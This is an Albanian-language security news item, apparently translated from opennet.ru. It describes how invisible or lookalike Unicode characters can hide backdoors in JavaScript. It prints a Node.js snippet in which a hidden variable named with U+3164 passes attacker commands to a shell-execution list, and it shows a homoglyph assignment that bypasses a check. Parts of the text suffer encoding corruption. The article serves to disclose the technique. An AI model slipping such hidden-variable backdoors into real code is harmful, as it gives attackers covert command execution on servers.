Përdorimi i simboleve Unicode të padukshme për të fshehur veprimet në kodin JavaScript

Pas metodĂ«s sĂ« sulmit Trojan Source, e bazuar nĂ« pĂ«rdorimin e simboleve Unicode qĂ« ndryshojnĂ« renditjen e tekstit dykahor, Ă«shtĂ« publikuar njĂ« teknikĂ« tjetĂ«r pĂ«r futjen e veprimeve tĂ« fshehura, e cila Ă«shtĂ« e aplikueshme pĂ«r kodin nĂ« gjuhĂ«n JavaScript. Metoda e re bazohet nĂ« pĂ«rdorimin e simbolit unicode «ㅀ» (kode 0x3164, «HANGUL FILLER»), i cili i pĂ«rket kategorisĂ« sĂ« shkronjave, por nuk ka pĂ«rmbajtje tĂ« dukshme. Kategoria Unicode, nĂ« tĂ« cilĂ«n hyn ky simbol, Ă«shtĂ« e lejuar qĂ« nga specifikimi ECMAScript 2015 pĂ«r pĂ«rdorim nĂ« emrat e variablave JavaScript, çka e mundĂ«son krijimin e variablave tĂ« padukshme ose variablave tĂ« rinj, tĂ« padallueshĂ«m nga variablat e tjerĂ« nĂ« redaktorĂ«t e njohur tĂ« kodit, si Notepad++ dhe VS Code.

Si njĂ« shembull, Ă«shtĂ« dhĂ«nĂ« kodi pĂ«r platformĂ«n Node.js, nĂ« tĂ« cilin me anĂ« tĂ« njĂ« variabli, i pĂ«rbĂ«rĂ« nga njĂ« simbol «ㅀ», Ă«shtĂ« fshehur njĂ« backdoor, i cili lejon ekzekutimin e kodit tĂ« specifikuar nga sulmuesi: app.get(‘/network_health’, async (req, res) => { const { timeout,ă…€} = req.query; // nĂ« tĂ« vĂ«rtetĂ« Ă«shtĂ« e specifikuar «const { timeout,ă…€ \u3164}» const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ă…€ // pas presjes Ă«shtĂ« simboli \u3164 ];

Në shikim të parë, parametri i jashtëm përcjell vetëm vlerën e timeout-it, ndërsa lista e komandave të ekzekutimit përmban një listë fikse dhe të padëmshme. Por në të vërtetë, pas variablit timeout i jepet vlera një variabli tjetër të padukshëm me kodin e simbolit \u3164, i cili gjithashtu përfshihet në listën e komandave të ekzekutimit. Kështu, në prani të një strukture të tillë, për të aktivizuar backdoor-in dhe për të ekzekutuar kodin e tij, sulmuesi mund të dërgojë një kërkesë në formën "https://host:8080/network_health?=komanda".

Si njĂ« tjetĂ«r shembull jepet simboli «ǃ» (ALVEOLAR CLICK), i cili mund tĂ« pĂ«rdoret pĂ«r tĂ« krijuar iluzionin e pragut tĂ« shenjĂ«s sĂ« thirrjes. PĂ«r shembull, shprehja «if(environmentǃ=ENV_PROD){» gjatĂ« ekzekutimit nĂ« Node.js 14 do tĂ« jetĂ« gjithmonĂ« e vĂ«rtetĂ«, pasi nĂ« tĂ« nuk bĂ«het kontroll i dallimit, por caktohet variabli «environmentǃ» vlera ENV_PROD. NdĂ«r simbolet e tjera tĂ« ngatĂ«rrueshme unicode, janĂ« tĂ« pĂ«rmendura edhe «», «−», «», «⩔», «❚», «⫝̸», Â«ê“żÂ» dhe «∗».

Burimi: opennet.ru

Bleni hostin e besueshĂ«m pĂ«r faqet me mbrojtje nga DDoS, VPS VDS servera đŸ”„ Bli hostin e besueshĂ«m pĂ«r faqet me mbrojtje nga DDoS, VPS VDS servera | ProHoster